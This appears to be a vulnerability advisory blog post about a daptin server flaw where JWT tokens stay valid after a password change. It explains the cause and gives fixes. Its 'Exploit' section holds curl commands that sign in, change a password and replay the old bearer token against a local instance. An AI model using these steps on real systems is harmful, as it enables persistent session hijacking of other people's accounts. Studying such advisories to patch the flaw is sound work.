Listen to this Post
How the CVE Works
The vulnerability resides in daptin’s JWT-based authentication where tokens remain valid even after a password change. The `CheckJWT` middleware only verifies token signature, expiry, issuer, and algorithm – no check against password version or session revocation. When a user updates their password via PATCH /api/user_account/{id}, the code hashes the new bcrypt password but never calls `InvalidateAuthCacheForEmail()` and does not revoke existing tokens. The generated JWT claims (email, sub, name, nbf, exp, iss, iat, jti) lack any `pwd_version` field that could be compared server-side. The `InvalidateAuthCacheForEmail()` function exists in `auth.go` but is never invoked on password update paths, only on create, delete, and some db methods. An attacker who captures a user’s JWT before the user changes their password can reuse that token indefinitely. The PoC shows that after password change, the old token still returns HTTP 200 for both read and write operations, while the old password is correctly rejected for login. Multiple pre‑change tokens all remain valid after successive password changes. This completely negates password rotation as a security control, allowing persistent session hijacking.
DailyCVE form:
Platform: daptin server
Version: 0.9.82
Vulnerability: Session not invalidated
Severity: Critical
Date: 2025-04-17
Prediction: Patch likely June 2025
What Undercode Say:
Verify token claims (decode JWT)
echo "<JWT_TOKEN>" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
Simulate stolen token after password change
curl -X GET "http://127.0.0.1:6336/api/user_account" \
-H "Authorization: Bearer <OLD_TOKEN>" -v
Check password version missing in payload
jq '. | keys' <<< '{"email":"x","exp":123,"pwd_version":null}'
Exploit:
Step-by-step (using PoC from )
BASE="http://127.0.0.1:6336"
1. Get old token
OLD=$(curl -s -X POST "$BASE/action/user_account/signin" \
-H 'Content-Type: application/json' \
-d '{"attributes":{"email":"[email protected]","password":"OldPass"}}' \
| jq -r '.[] | select(.ResponseType=="client.store.set") | .Attributes.value')
2. Change password (still using old token)
curl -X PATCH "$BASE/api/user_account/<ID>" \
-H "Authorization: Bearer $OLD" \
-H 'Content-Type: application/vnd.api+json' \
-d '{"data":{"type":"user_account","id":"<ID>","attributes":{"password":"NewPass"}}}}'
3. Old token still works
curl -X GET "$BASE/api/user_account" -H "Authorization: Bearer $OLD"
Protection from this CVE:
- Add `password_version` integer column to `user_account` table (incremented on each password change)
- Include `pwd_version` claim in JWT generation (
action_generate_jwt_token.go) - In `CheckJWT` middleware compare claim’s `pwd_version` against current database value; reject if mismatch
- Call `InvalidateAuthCacheForEmail(email)` inside `resource_update.go` whenever a password column is updated
Impact:
- Session hijacking persistence – attacker retains full access even after legitimate password change
- Password rotation useless – incident response control (force password reset) does not terminate active sessions
- Privilege escalation – write operations (PATCH, DELETE) remain available to old token
- Multi-token amplification – all tokens issued before a password change stay valid indefinitely
- Audit bypass – no log entry for token reuse after password change; activity appears as valid authenticated session
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

